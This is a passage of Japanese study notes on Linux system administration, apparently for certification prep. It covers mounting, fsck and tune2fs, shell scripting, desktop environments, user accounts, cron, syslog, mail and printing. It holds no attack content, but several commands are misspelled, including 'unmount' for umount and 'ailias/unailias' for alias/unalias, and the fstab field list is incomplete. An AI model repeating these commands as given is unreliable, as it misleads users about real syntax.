iso9660CD-ROMのファイルシステム
msdosMS-DOSのファイルシステム
vfatSDカードや古いwindowsのファイルシステム
exFATFAT後継規格でフラッシュメモリ向けのファイルシステム

7.5.3. ファイルシステムのマウント

マウントはあるパーティションとあるディレクトリを関連づける作業のこと。 パーティションにファイルシステムを作成した後、マウントを行う必要がある。

恒常的なマウント設定

恒常的なマウントを行うためには以下の手順でマウントを行う必要がある。

  1. /etc/fstabファイルの編集
  2. mountコマンドの実行、または再起動(init 6)の実行

/etc/fstabの書き方

/etc/fstabファイルは以下のように記述される。

/dev/sda5  /home  ext4  defaults  1  2

左から順に以下意味となる。

  1. マウントするデバイスファイル名
  2. マウントポイント
  3. ファイルシステムの種類(ext2,xfsなど)
  4. マウントオプション(async, auto, defaults, exex, noexecなど)
  5. dumpコマンドによるアップデート対象かどうかの指定(0:バックアップ必要なし、1:バックアップ必要あり)

mountコマンド

ファイルシステムのマウントを行うコマンド。

mount /dev/sda6 /home3

unmountコマンド

現在マウントされているファイルシステムをアンマウントするコマンド。

unmount  /dev/sda6 /home3

7.5.3. ファイルシステムの確認コマンド

dfコマンド

ファイルシステムの空き容量やinodeの使用状況が確認できるコマンド。 ファイルシステムの空き容量の表示ができる。

df <オプション> <デバイス名/ディレクトリ>
オプション説明
-iinodeの使用状況を表示
-h容量を単位(MBやGB)で表示
-k容量をKB単位で表示
-m容量をMB単位で表示

duコマンド

ディレクトリやファイルの容量を表示するコマンド。 ディレクトリ内のファイルが使用している容量を表示できる。

du <オプション> <デバイス名/ディレクトリ>
オプション説明
-aディレクトリだけでなく、ファイル容量も表示
-c合計容量も同時に表示
-h容量を単位(MBやGB)に変換して表示
-k容量をKB単位で表示
-m容量をMB単位で表示
-s指定したファイルやディレクトリのみの合計を表示
-Sサブディレクトリ内の容量を含まずに合計を表示

7.5.4. ファイルシステムの作成と修復のコマンド

mkfsコマンド

パーティション上にファイルシステムを作成するコマンド。

mkfs -t ext4 <デバイス名>

mke2fsコマンド

パーティション上にファイルシステムを作成するコマンド。 ext2, ext3, ext4ファイルシステムを作成する場合に利用する。 デフォルトではext2を作成する。

mke2fs -t ext4 <デバイス名>
オプション説明
-t ファイルシステムタイプファイルシステムの種類を指定する
-jext3ファイルシステムを作成する
-c実行前に不良ブロックを検査する

mkswapコマンド

パーティション上にスワップ領域作成するコマンド。

mkswap /dev/sda7

fsckコマンド

ファイルシステムの整合性チェックと障害箇所の修復ができるコマンド。 システム障害によりファイルシステムに障害が発生した場合に使用する。

fsck <オプション> <デバイス名>
オプション説明
-tファイルシステムの種類の指定 ( ext2、ext3、xfsなど )
-a自動的に修復を実行
-r対話的に修復を実行
-A/etc/fstab に記述されている全てのファイルシステムの検査
-N実際には修復を行わず、コマンドが実行する内容を表示

e2fsckコマンド

ext2、ext3、ext4のファイルシステムでファイルシステムの整合性チェックと障害箇所の修復ができるコマンド。

e2fsck <オプション> <デバイス名>
オプション説明
-c不良ブロックの検査
-p全ての不良ブロックを自動的に修復
-v詳細情報を表示
-y全ての問い合わせに対して、自動的に「yes」と回答
-n全ての問い合わせに対して、自動的に「 no 」と回答

tune2fsコマンド

ext2,ext3.ext4ファイルシステムの様々なパラメーターを設定するコマンド。

tune2fs <オプション> <デバイス名>
オプション説明
-c 回数e2fsckコマンドでファイルシステムのチェックを行うまでの最大マウント回数を指定
-i 時間[d,m,w]e2fsckコマンドでファイルシステムのチェックを行うまでの最大時間間隔を指定。時間のみまたはdを付けると「日」、mを付けると「月」、wを付けると「週」
-jext2をext3ファイルシステムに変換
-L ラベル名ファイルシステムのボリュームラベルを設定

14.1.8 - 8.シェルとシェルスクリプト

Linuxの環境変数、タスク自動化のためのシェルスクリプトに関する解説

8.1. シェル環境のカスタマイズ

8.1.1. 環境変数とシェル変数

Linuxの変数には環境変数シェル変数がある。 特徴は以下の通り。

変数説明代表的な
環境変数シェル自身とそのシェルから起動されるすべてのプロセスに引き継がれるPATH, HOMEなど
シェル変数そのシェル内のみで有効な変数-

詳しくはコチラ

8.1.2. 環境変数/シェル変数を表示するコマンド

env/printenvコマンド

環境変数を表示するコマンド。 printenvは環境変数名を指定可能。

env

printenv HOME

setコマンド

環境変数とシェル変数を表示するコマンド。

set <オプション>
オプション説明
-o一覧表示
-a自動的にエクスポート
–helpヘルプ
-o / +oオプション有効/無効化
ignoreeofCtrl + D のキー入力でログアウトしないようにする
noclobber既存ファイルへの上書き出力 ( リダイレクト ) を禁止する
noglobメタキャラクタを使用したファイル名の展開を無効化する

8.1.3. エイリアス

エイリアスはコマンドに別名を付けたりコマンドとそのオプションをひとまとめにできたりするもの

ailias/unailiasコマンド

エイリアスの作成と削除ができるコマンド

ailias <エイリアス名>='<コマンド>'

unailias <エイリアス名>

8.1.4. シェル関数

シェル関数はbashシェル上で利用できる独自の関数を定義できるもの。 シェル関数はエイリアスと異なり条件分岐などを含む複雑なコマンドの組み合わせの場合に使用する。

functionコマンド

シェル上で利用できるシェル関数を定義するコマンド。

function <関数名>() { <コマンド> }

unsetコマンド

シェル関数を削除するコマンド。

unset <関数名>

declareコマンド

設定されたシェル関数一覧を見るコマンド。

declare -F

8.1.5. bashの設定ファイル

シェルの起動時と終了時に「環境変数、エイリアス、シェル関数」などの定義を自動的に行うための設定ファイルには以下のようなものがある。 /etc/以下は全ユーザーから参照される。

ファイル説明
/etc/profileログイン時に実行
/etc/bash.bashrcbash起動時に実行される
/etc/bashrc~/.bashrcから参照
~/.bash_profileログイン時に実行
~/.bash_login~/.bash_profileがない場合、ログイン時に実行
~/.profile/.bash_profileも/.bash_loginもない場合、ログイン時に実行
~/.bashrcbash起動時に実行
~/.bash_logoutログアウト時に実行

Bash

/etc/profile, /etc/profile.dディレクトリ以下

これらのファイルには基本的な環境変数などが設定される。

/etc/bash.bashrc

全ユーザから参照される。一部ディストリビューションにはない。

~/.bash_profile, ~/.bash_login, ~/.profile

ユーザごとの環境変数の設定等を行える。

~/.bashrc

対話型シェルが起動されるたびに実行される。全ユーザ設定用。

~/.bash_logout

ログインシェル終了時に実行される。

8.2. シェルスクリプト

8.2.1. シェルスクリプトとは

シェルスクリプトは特定の処理を行うために作成したプログラをシェルプログラムで記述したもの。 Bashの場合は冒頭に以下を記述する。拡張子は.sh

なおシェルスクリプトは実行したユーザの権限で動作する。 以下はシバンと呼ばれる記述。

#!/bin/bash

なおファイルの改行コードはLinuxでLF、WindowsでCRLFとなるので注意する。

8.2.2. シェルスクリプトの実行コマンド

sourceコマンド

元のbashでシェルスクリプトを実行するコマンド。

source restart.sh

bashコマンド

新しいbashサブシェルが立ち上がってシェルスクリプトを実行するコマンド。

bash start.sh

.を付けて実行

sourceと同じく元のbashでシェルスクリプトを実行するコマンド。

. start.sh

./を付けて実行

./start.sh

8.2.3. シェルスクリプトの特殊変数

スクリプトに渡す引数で特殊なものには以下のものがある。

変数名説明
$0シェルスクリプトファイル名
$11番目の引数。※ 2番目の引数の場合は $2 と指定する。
$$現在のシェルのプロセス番号
$#コマンドラインに与えられた引数の数
$?シェルが最後に実行したコマンドの終了ステータス ( 0 = 正常終了、1 = 異常終了、それ以外はエラー )
$@全ての引数 ( 区切りはスペース )
$*全ての引数 ( 区切りは環境変数IFSで指定したもの )

8.2.4. シェルスクリプトに関するコマンド

readコマンド

readコマンドはユーザーからの入力値を受け取り変数に格納してそれを次の処理で使用したい場合に使用するコマンド。

#!/bin/bash
echo -n " あなたのお名前を教えてください "
read yourname
echo " こんにちは、$yourname さん "

testコマンド

testコマンドは条件分岐が行われる条件式の真偽を判断してその結果を返すために使用されるコマンド。

test <条件式>

seqコマンド

シェルスクリプトで数値を1つずつ増加または減少させる処理を行うために使用するコマンド。

seq <開始数値> <終了数値>
seq <終了数値>

8.2.5. シェルスクリプトの制御構文

if文

if test -f data.txt
 then
    echo "data.txtファイルは存在します"
 else
    echo "data.txtファイルは存在しません"
fi

for文

for i in $(seq 1 10)
do
    echo $i
done

while文

i=1
while test $i -le 10
do
    echo $i
    let i=i+1
done

14.1.9 - 9.LinuxGUIとデスクトップ

Linuxのデスクトップに関して

9.1. LinuxのGUI

9.1.1. X windows System(X, X11)

X Windows Systemは多くのUNIXやLinuxで使用されているウィンドウシステム(GUI)。 X Window Systemではクライアント・サーバ方式(Xクライアント, Xサーバ)の構成となっている。 このGUIシステムは現在のコンピュータ環境で利用するには無理が出てきている。

X windows Systemの種類

種類説明
XFree86かつて標準実装されていた
X.Org現在の主流

Xサーバ

Xサーバはモニター、ビデオカード、キーボードなどのハードウェアの管理を行う。 ホストマシンで稼働する。

xサーバはstartxコマンドできそうできる。 なお実行の際はxinitが実行され/etc/X11/xinit/xinitrcスクリプトが実行される。

Xクライアント

XクライアントはWebブラウザなどのユーザアプリケーションを指す。 リモートホストで動かすことができるが、Xサーバと同じマシンで動かすことも可能。

X.Orgの設定

X.Orgの設定ファイルは/etc/X11/xorg.confとなりキーボード、ディスプレイ、フォント、解像度などの設定が可能。 xorg.confファイルは複数のセクションから構成される。

セクション説明
ServerLayout入力 ・ 出力用デバイスの組み合わせとスクリーンの設定
Filesフォント関連のパスの設定
ModuleXサーバがロード予定のダイナミックモジュールの設定
InputDeviceXサーバに対する入力デバイス(キーボード等)の設定
Monitorシステムにより使用されるモニタタイプの設定
Deviceシステム用のビデオカードの設定
Screenディスプレイの色深度と画面サイズの設定

Xクライアントコマンド

X Window Systemの設定確認、情報収集のためのコマンドは以下の通り。

コマンド説明
showrgbX Window Systemで利用可能な色とRGB値の情報確認
xlsclients実行中のXクライアントを表示
xwininfoコマンド実行後に指定したウィンドウのサイズ、位置、色深度の情報確認
xdpyinfoディスプレイ情報の表示

9.1.2. Wayland

Waylandはプロトコル作成フレームワークでLinux用ライブラリ。 X11と全く異なる仕組みでGUI環境を提供できる。

ウィンドウマネージャとクライアントで構成される。

ウィンドウマネージャ

ハードウェアやグラフィックを管理する。

クライアント

グラフィックライブラリ呼び出す。

9.2. グラフィカルデスクトップ

9.2.1. ディスプレイマネージャ

ディスプレイマネージャはXサーバを起動して GUI のログイン画面を表示する仕組み。 ランレベル5で起動する。

具体的にはGUIでログイン画面を表示し、ユーザー認証を行う。 有名なものは以下の通り。

  • XDM … XDMはX.Orgの標準。認証プロトコルにはXDMCPが使用される。
  • KDM … KDMはKDEで利用される
  • GDM … GDMはGNOMEで利用される

9.2.2. ウィンドウマネージャ

ウィンドウマネージャはXの外観制御を行う。 ウィンドウの外観、アイコン、メニューなどを提供しユーザが設定できるようになっている。

代表的なものには以下のようなものがある。

  • Metacity … Gnome標準のウィンドウマネージャ
  • Kwin … KDE標準のウィンドウマネージャ
  • twm … 必要最低限の機能だけを備えたウィンドウマネージャ
  • fvwm … 仮想デスクトップ機能を備えたウィンドウマネージャ
  • enlightment … 高機能でグラフィカルなウィンドウマネージャ

9.2.3. デスクトップ環境

デスクトップではウィンドウマネージャも含め、アプリケーションまで揃えて統一的な操作を提供する。 代表的なものにはGNOME、KDE Plasmaなどがある。他にはXfceやLXDEなどがある。

GNOMEKDE Plasma
テキストエディタgeditKEdit
端末GNOME端末Konsole
ファイルマネージャNautilusDolphin
GUIツールキットGTK+Qt
ディスプレイマネージャGDMSDDM
ウィンドウマネージャMutterKWin
標準採用RedHat, CentOS, Fedora, UbuntuopenSUSE, Slackware, Kubuntu

9.2.4. リモートデスクトップ

リモートデスクトップは別のマシン上からリモートで別のマシンのデスクトップを操作できるもの。 Linux向けに制御する機能にはVNCRDPSPICEXDMCPなどがある。

VNC

VNCはクロスプラットフォームのリモートデスクトップソフトウェア。 対応OSはWindows、macOS、Linux。

vncserver :1 #VNCサーバをディスプレイ番号1で起動する

vncserver -kill :1 #VNCサーバの終了

RDP

RDPはWindows標準搭載のリモートデスクトッププロトコル。 Linuxデスクトップ上にWindowsのデスクトップを表示可能。

SPICE

SPICEはOSSの画面転送プロトコルで以下の機能に対応している。

  • 通信の暗号化
  • マルチモニタ

XDMCP

XDMCPはディスプレイマネージャをネットワーク越しに利用できるプロトコル。 Xサーバとディスプレイマネージャとの間で使われるが、暗号化機能がないためSSH接続で利用する必要がある。

9.3. アクセシビリティ

アクセシビリティはコンピュータの操作の利便性を上げるもの。 障がい者の操作をサポートするソフトウェアはATと呼ばれる。

9.3.1. アクセシビリティの設定

アクセシビリティの設定は以下のようなものがある。

機能説明
スティッキーキー(固定キー)複数キーを同時に押すのが困難なユーザー向けの機能
スローキー正確にキーを入力できないユーザー向けの機能
バウンスキー連続入力を無視する機能
トグルキー光るキーの視認が難しいユーザー向けの機能。音が鳴る
マウスキーマウスを扱うのが困難なユーザー向けの機能

14.1.10 - 10.アカウント管理と管理タスク

Linuxのアカウント管理、定期実行系(Cronなど)、言語設定やローカライゼーションに関して

10.1. ユーザとグループの管理

10.1.1. ユーザアカウント

Linuxは複数のユーザが同時にログインし利用できるシステムとなっている。 またユーザアカウント情報は/etc/passwdファイルに保存される。

/etc/passwdファイル

/etc/passwdファイルは以下のような構成となり、一般ユーザでも読み取り可能。

<ユーザ名>:<暗号化されたパスワード>:<UID>:<GID>:<GECOS(コメント)>:<ホームディレクトリ>:<デフォルトシェル>

デフォルトシェルはログインを想定しない場合/bin/false/sbin/nologinとなる。

/bin/false/sbin/noloin
Telnet接続xx
SSH接続xx
FTP接続xo
SFTP接続xx
シェルの実行xx

/etc/shadowファイル

シャドウパスワードが書かれたファイルで、パスワード本体が暗号化されたものが保存されている。 root(とshadowグループ所属者)しか読み取りできない。

10.1.2. グループアカウント

/etc/groupファイル

/etc/groupファイルは以下のような構成となり、グループアカウント情報が保存される。 一般ユーザでも読み取り可能。

<グループ名>:<暗号化されたグループパスワード>:<GID>:<グループメンバー>

ユーザーにとって基本となるグループをプライマリグループと呼ばれる。 プライマリグループ以外に参加しているグループはサブグループと呼ばれる。

なおプライマリーグループは/etc/passwdのGIDフィールドで確認できる。

10.1.3. ユーザーとグループの管理のコマンド

useraddコマンド

useraddコマンドはユーザアカウントを作成するコマンド。

useradd <オプション> ユーザー名
オプション説明
-c コメントユーザー情報を表すコメントの指定
-d ディレクトリ名ホームディレクトリの指定
-g グループ名 or GIDプライマリグループの指定
-G グループ名 or GIDプライマリグループ以外に所属するグループの指定
-s ログインシェルログインシェルの指定
-u UIDUIDの指定
-mホームディレクトリの自動的な作成

なお作成するホームディレクトリに作成したいファイルのひな形は/etc/skelディレクトリに置くことでホームディレクトリに自動的にコピーされる。

usermodコマンド

既存のユーザアカウント情報を変更できるコマンド。 またユーザーアカウントをロックすることもできる。 ロックは-Lオプション、ロック解除は-Uオプションで可能。

usermod <オプション> <ユーザー名>

userdelコマンド

ユーザアカウントを削除できるコマンド。 -rオプションでホームディレクトリも削除できる。

userdel <ユーザ名>

passwdコマンド

パスワード変更するコマンド。 一般ユーザは自身のパスワードを変更でき、rootユーザは全てのユーザーのパスワードを変更することができる。 またユーザーアカウントをロックすることもできる。

passwd <ユーザ名>
オプション説明
-l指定したユーザーアカウントのロック
-u指定したユーザーアカウントのロックを解除

groupaddコマンド

グループを作るコマンド。

groupadd <グループ名>
オプション説明
-g グループIDグループIDの指定

groupmodコマンド

グループ情報変更するコマンド。

groupmod <グループ名>
オプション説明
-g グループID指定したグループIDへ変更
-n グループ名指定したグループ名へ変更

groupdelコマンド

作成済みのグループアカウントを削除するコマンド。 なお削除対象のグループをプライマリグループとするユーザーがいる場合は削除できない。

groupdel <グループ名>

idコマンド

ユーザがどのグループに所属しているのか調べられるコマンド。 UID,GUID,サブグループGUIDがわかる。

id <ユーザ名>

getentコマンド

ユーザーやグループの一覧を表示するコマンド。 データベースとキーを引数に渡すと管理データベースからエントリを取得できる。

getent <データベース/キー>

10.2. ジョブスケジューリング

10.2.1. cron

cronは定期的なジョブを実行するために使用できる仕組みでスケジュールを定義したコマンドを定期的に実行することが可能。 デーモンとも呼ばれる。

cronの構成

cronの仕組みはcrondデーモンとcrontabコマンドで構成される。 内部的にはcrondが1分ごとにcrontabファイル内容を調べることで実現している。

crontab

ユーザのcrontabは/var/spool/cron/ディレクトリに配置されるが、そのファイルを直接エディタで編集してはならない。 編集にはcrontabコマンドを用いる。

システムのcrontabは/etc/crontabファイルに保存される。 システムのcronで定期的に実行するジョブを格納するディレクトリは以下の通り。

ディレクトリ名説明
/etc/cron.hourly毎時定期的に実行するジョブのスクリプトを格納
/etc/cron.daily毎日定期的に実行するジョブのスクリプトを格納
/etc/cron.monthly毎月定期的に実行するジョブのスクリプトを格納
/etc/cron.weekly毎週定期的に実行するジョブのスクリプトを格納
/etc/cron.d上記以外のジョブのスクリプトを格納

cron/atのアクセス制限

cron/atはユーザー単位で利用制限を実施できる。 制限は/etc/cron.allow,/etc/cron.denyファイルの設定で可能。

10.2.2. cronに関するコマンド

at/atrm/atqコマンド

atコマンドは1回限りのジョブ予約を行えるコマンド。

at 
オプション説明
-datrmのエイリアス
-ratrmのエイリアス
-latqのエイリアス
-f ファイルパスSTDINではなくファイルからジョブ指定

atrmコマンドは予約中のジョブをジョブ番号で指定して削除できるコマンド。 atqコマンドは予約中のジョブを表示するコマンド

crontabコマンド

cronを設定するコマンド。

crontab <オプション>
オプション説明
-eviエディタなどを使用して、crontabファイルを編集
-lcrontabファイルの内容を表示
-rcrontabファイルの削除
-icrontabファイル削除時の確認
-u ユーザーユーザーを指定しcrontabファイルの編集 ( rootユーザーのみ使用可能 )

記述例は以下のように行う。

30 22 * * * /usr/local/bin/backup.sh # 毎日22:30に実行
0 12 * * 1,2 /usr/local/bin/backup.sh # 毎週月曜日、火曜日の12:00に実行

10.2.3. systemdによるスケジューリング

systemdでスケジューリングを行う場合タイマーUnitを使用する。 タイマーUnitには以下のような種類がある。

種類使用例
モノトニックタイマシステム起動10分後に実行、以降1週間ごとに実施
リアルタイムタイマ毎日午前4時に実行

/etc/systemd/system/以下に拡張子.timerでファイルを作成することで設定を行う。 ファイルの記述書式はman 7 systemd.timeで確認可能。

スケジュールの確認

systemctl list-timers

スケジュールの削除

systemctl stop hogehoge.timer

サービスの実行ログの確認

journalctl -u apt-daily.service

10.3. ローカライゼーションと国際化

10.3.1. ローカライゼーションと国際化

ローカライゼーションはソフトウェアのメニューやメッセージを利用者の地域や国に合わせることi18nとも呼ばれる、具体的には言語や日付、通貨単位などを合わせる。

国際化はソフトウェアを最初から多言語・他地域対応するように作ることを言う。

10.3.2. ロケール

ロケールは利用者の地域情報を表す。 これらのカテゴリは個々に設定することが可能。

ロケールの設定はlocaleコマンドで確認可能。(-aでロケールを全表示可能) またカテゴリーは以下のようなものがある。

環境変数説明
LC_CTYPE文字の種類やその比較・分類の規定
LC_COLLATE文字の照合や整列に関する規定
LC_MESSAGESメッセージ表示に使用する言語
LC_MONETARY通貨に関する規定
LC_NUMERIC数値の書式に関する規定
LC_TIME日付や時刻の書式に関する規定
LANGUAGE複数一括設定(:区切り)、最高優先度
LC_ALL一括設定、高優先度
LANG一括設定、低優先度

ロケール名は以下のようなものがある。

ロケール名説明
C, POSIX英語
ja_JP.utf8(ja_JP.UTF-8)日本語/Unicode
ja_JP.eucJP日本語/EUC-JP
ja_JP.shiftJIS日本語/シフトJIS
en_US.utf8英語(米)/Unicode

10.3.3. 文字コード

文字コードはコンピュータ上で文字を利用するために各文字に割り当てたバイトコードを指す。

iconvコマンド

文字コードを変換するために使用するコマンド。

iconv <オプション> <文字コード>
オプション説明
-l変換できる文字コードの一覧を表示
-f 入力文字コード変換元の文字コード。from。
-t 出力文字コード変換後の文字コード。to。
-o ファイル名文字コード変換した文字列を出力するファイル名。

10.3.4. タイムゾーン

タイムゾーンは地域ごとに区分された標準時間帯を指す。 UTC+N時間で決まる。日本の場合はUTC+9時間。

設定は/usr/share/zoneinfo/以下に格納される。 なお日本のタイムゾーン設定は以下のように行える。

cp /usr/share/zoneinfo/Asia/Tokyo /etc/localtime

ln -s /usr/share/zoneinfo/Asia/Tokyo /etc/localtime #シンボリックリンクで行う場合

tzselectコマンド

一覧から表示される情報をもとにタイムゾーンを設定できるコマンド。

tzselect

tzconfigコマンド

/etc/localtime,/etc/timezoneまとめて変更できるコマンド。

tzconfig

14.1.11 - 11.システムサービスの管理

システムクロック、システムログ、メール/プリンタなどに関して

11.1. システムクロックの設定

11.1.1. システムクロックとハードウェアクロック

Linuxのクロックシステムにはシステムクロックとハードウェアクロックがある。

システムクロック

システムクロックはメモリ上で動作する時計システム。 Linuxカーネル内に存在し、Linux起動時にハードウェアクロックと同期する。

このクロックは電源がオフになると時計情報も消える。

ハードウェアクロック

ハードウェアクロックはハードウェアとして内蔵された時計システム。 このクロックはシステム停止してもハードウェア上の内蔵バッテリーで動作する。

11.1.2. システムクロック関連コマンド

dateコマンド

システムクロックを参照して現在日時表示、時刻の変更ができるコマンド。

date
書式説明
%Y
%m月(01-12)
%d日(01-31)
%H時(00-23)
%M分(00-59)
%a曜日
%b月名

hwclockコマンド

ハードウェアクロックの参照、システムクロックをハードウェアクロックにセットできるコマンド。

hwclock <オプション>
オプション説明
-rハードウェアクロックの表示
-s (–hctosys)ハードウェアクロックの時刻をシステムクロックに反映
-w (–systohc)システムクロックの時刻をハードウェアクロックに反映
-uUTC (Universal Coordiated Time)として反映

timedatectlコマンド

systemd採用ディレクトリビューションで使用可能な日付、時刻、タイムゾーンを管理を設定できるコマンド。

timedatectl status

11.1.3. NTPによる時刻設定

ハードウェアクロック、システムクロックともに完全に正確な時刻情報ではないのでNTPというプロトコルを通じて正確な情報を取得する。 NTPは階層構造になっており、最上位は原子時計やGPSなどが位置して、その直下にあるNTPサーバを Stratum1、その下を Stratum2 と続いていく構造となっている。

ntpdateコマンド

NTPサーバから正確な時刻取得するコマンド。

ntpdate

ntpサーバの運営

NTPサーバを自前で運用することも可能。 LAN内にNTPクライアントが多いなら用意すると良い。

NTPサーバの起動はSysVinitならばsudo /etc/init.d/ntpd start、Systemdならばsudo systemctl start ntpd.serviceで行う。 なお設定は/etc/ntp.confで行える。

11.3.4. Chronyによる時刻管理

Chronyはntpd/ntpdateの代替の時刻管理システム。 ntpパッケージと同時には使えないのが特徴。

chronydデーモンとchronycクライアントで構成される。 設定ファイルは/etc/chrony.confとなる。

chronyコマンド

chronydの管理を行うコマンド。

chronyc --help

11.2. システムログの設定

11.2.1. ログとは

ログはコンピュータの動作状況の記録を行うもの。 Linuxの場合はsyslogと呼ばれるプログラムを使用することにより、発生する各種イベントをログファイルに出力したりコンソールに出力することが可能となる。 ログのシステムにはrsyslog, syslog, syslog-ngなどがある。

11.2.2. Syslog

syslogはsyslogdというデーモンにより実行される。 syslogは他のプログラムからのメッセージを受信して、出力元や優先度に従って分類を行って、syslogで定義した出力先に送信する。

syslog/rsyslogの設定

syslogの設定は/etc/syslog.confで設定を行う。 rsyslogはsyslogの上位バージョンで拡張機能などがあり、設定は/etc/rsyslog.confで行う。

設定ファイルの構文はファシリティ. プライオリティ アクションで記述する。 記述構文は以下の通り。

<ファシリティ>.<プライオリティ> <出力先(アクションフィールド)>

ファシリティ

ファシリティはログの種別メッセージの出力元を示す。 具体的にはカーネルや実行中のプロセスを表す。

ファシリティ説明
auth, authpriv認証システム(loginなど)
croncron
daemon各種デーモン
kernカーネル
lpr印刷システム
mailメールサービス
userユーザーアプリケーション
local0-local7ローカルシステム

プライオリティ

プライオリティはメッセージの重要度を表す。

重要度(降順)説明
emerg緊急事態
alert早急に対処が必要
crit深刻(システムの処理は継続できる)
err一般的なエラー
warning一般的な警告
notice一般的な通知
info一般的な情報
debug一般的な情報
noneログを記録しない

アクション(出力先)

アクションではメッセージの出力先を指定する。

表記説明
ファイル名ファイルへの出力
ユーザー名ユーザーの端末への出力
@ホスト名リモートホストのsyslogdへの出力
/dev/consoleコンソールへの出力
*全てのユーザーの端末への出力

11.2.3. ログに関するコマンド

loggerコマンド

ログメッセージ生成するコマンド。 システムログの設定の確認などに使用する。

logger [ -p <ファシリティ>.<プライオリティ> ] [ -t タグ ] <メッセージ>

syslog.infoの場合は/var/log/syslogに追記される。

systemd-catコマンド

コマンドの実行結果をジャーナルに書き込むコマンド。 /var/log/syslogに書かれる。

systemd-cat echo 'hoge'

journalctlコマンド

systemd採用システムにおいて、systemdのログ(ジャーナル)を閲覧できるコマンド。 ジャーナルは/var/log/journal/var/run/log/journalのバイナリに保存される。

journalctl
オプション説明
-f, –follow末尾を表示し続ける(tail -fとかとおなじ)
-r, –reverse新しい順(デフォルトは古い順。その逆)
-e, –pager-end末尾を表示する(ページャでさかのぼれる)
-x, –catalog説明文付き
-k, –dmesgカーネルメッセージのみ
-b, –bootブート時メッセージ
-p, –priority=プライオリティ指定したプライオリティ以上
-u, –unit=ユニット名ユニット指定
–fullエスケープ文字を除いてプレーンテキストで出力
–no-pager1ページごとに表示せず、すべてのログを出力する

11.2.4. ログの調査

主要なログファイルは/var/log/messagesに保存されるが、ディストリビューションにより差異がある。

ログの種類

システム状態に応じて出力される各種ログは以下表のようなログファイルに出力される。

ログファイル名内容
/var/log/messages一般的なシステム関連のメッセージ
/var/log/secureセキュリティに関するメッセージ
/var/log/cron定期的に実行される処理結果に関するメッセージ
/var/log/maillogメールに関するメッセージ
/var/log/spooler印刷に関するメッセージ
/var/log/boot.logOS起動時に関するメッセ

ログの確認方法

more,tail,tail - fコマンドやgrepを組み合わせてログの調査を行う。

11.2.5. ログファイルのローテーション

ログファイルはログ出力の度に追記されていくので、ファイルサイズが大きくなる。 そのためローテーション機能によりログファイルの分割などを行う。

ローテーション機能はcronを利用してlogrotateユーティリティが定期的に実行される。 logrotateの設定は/etc/logrotate.confファイルで行う。

11.2.6. ログインユーザログの確認コマンド

lastコマンド

最近ログインしたユーザーの一覧を表示するコマンド。 参照ファイルは/var/log/wtmp

last

whoコマンド

ログイン中のユーザ名、ログイン端末名、ログイン日時、ログイン元IPを表示するコマンド。 参照ファイルは/var/run/utmp

who

wコマンド

whoコマンドでの情報とシステム情報も表示するコマンド。 参照ファイルは/var/run/utmp

w

lastlogコマンド

ログファイルを参照しユーザごとに最近のログイン一覧を表示するコマンド。 参照ファイルは/var/log/lastlog

lastlog

11.3. メール管理

11.3.1. メール配送の仕組み

Linuxにおいてメールの配送はMTAMDA,MUAにより構成/実現される。

MTA

MTA(Mail Transfer Agent)は電子メールを配信/転送するプログラム、つまりメールサーバソフトウェアを表す。 MTAにはsendmail、qmail、postfix、eximなどがある。

MTA処理速度セキュリティ説明
sendmail××かつてMTAの標準ソフトウェアと広く普及した。
qmailセキュリティ面に優れており、非常に堅牢なつくり。パフォーマンスもsendmailより優れている。
postfixパフォーマンスが最も優れたMTA。設定が簡単でセキュリティ面も高い。sendmailとの互換性がある。
eximDebian系の標準のMTA。

MDA(Mail Delivery Agent)

メールボックスにメールを送るプログラム。

MUA(Mail User Agent)

MUAはメールクライアント(メーラ)を表しメール作成、閲覧が可能なもの。

11.3.2. メールの配送フロー

  1. メールクライアントソフトウェア(MUA)でメール作成
  2. 送信元側のメールサーバ上のMTA(1)へ送る
  3. 宛先側のメールサーバ上のMTA(2)へ転送(相手ドメインのDNSサーバに尋ねる)
  4. MTA(2)がメールを受け取ると、MDAがメールをメールボックスに格納する
  5. 受取人は自分のメールボックスからメールを取り出す(POP,IMAPを使用)

11.3.3. MTAの起動とメールの確認

MTAプログラムの確認

LinuxシステムでどのMTAプログラムがインストールされているのかは、以下プログラムで確認可能。

netstat -atnp | grep 25

メールの送信、受信メールの確認

mailコマンドで確認可能。

mail # 受信メールの確認
mail -s <題名> <宛先ユーザー名 | 宛先メールアドレス> # メールの送信「.」で入力終了

メールの転送とエイリアス

メールを転送する場合以下の2つの方法がある.

  1. /etc/aliasesファイルに設定する方法
  2. 各ユーザーのホームディレクトリに存在する~.forwardファイルに転送先アドレスを設定する方法

あるメールアドレスに届いたメールを別のアドレスに転送する場合は/etc/aliasesファイルに設定を記述することで可能。 書式は以下の通り。

転送元ユーザー: 転送先ユーザー

11.3.4. 送信待ちメール/受信待ちメールの確認

多数のメールを送信した場合やメール送信に失敗した場合はメールキューに蓄えられる。 具体的には、送信者側のメールサーバの/var/spool/mqueueディレクトリに保存される。 情報はmailqコマンドでできる。

なお受信成功した場合は /var/spool/mailに保存される。

mailqコマンド

メールキューを一覧するコマンド。

mailq

11.4. プリンタ管理

11.4.1. CUPS

Linuxディストリビューションでのプリンタ印刷には基本的にはCUPSと呼ばれるシステムが使われる。 CUPSの主な特徴は以下の通り。

  • IPP
    • ネットワーク上のプリンタをサポート
  • PPD
    • AdobeのPPD形式のファイルでデバイスドライバの設定ができる(/etc/cups/ppd/にPDOファイルを格納される)
  • Web画面での設定
    • Webブラウザから設定可能(ポート631)
  • プリンタクラスのサポート
    • 複数のローカルプリンタを1つのクラスにグループ化

CUPSの情報は/etc/cupsディレクトリに格納され、CUPSの設定ファイルは/etc/cups/cupsd.confに保存される。 CUPSの設定方法は以下の2つある。

  • 設定ファイルを直接編集する方法
  • WebブラウザでCUPSの設定ページにアクセスして編集する方法

印刷の流れ

  1. 印刷データ受け取る
  2. スプーラが印刷データを受け付け、スケジューリングを行う
  3. プリンタが直接受け付けられないデータを中間形式に変換
  4. PPDに定義されたフィルタにより、最終の印刷データに変換する
  5. 処理した印刷データをCUPSのバックエンドに送る
  6. CUPSバックエンドは印刷データをプリンタに渡す

11.4.2. 印刷関連のコマンド

lprコマンド

ファイルや標準入力を印刷するコマンド。

lpr <オプション> ファイル名
オプション説明
-# 部数印刷部数を指定
-P プリンタ名指定したプリンタに出力

lpqコマンド

プリンタキューに登録されている印刷ジョブを確認するコマンド。

lpq <オプション> <ユーザー名> <ジョブ番号>
オプション説明
-a全てのプリンタの情報を表示
-P プリンタ名指定したプリンタの情報を表示

lprmコマンド

プリンタキューにある印刷ジョブを削除するコマンド。

lprm <オプション> <ジョブ番号>
オプション説明
-自分の印刷ジョブを全て削除
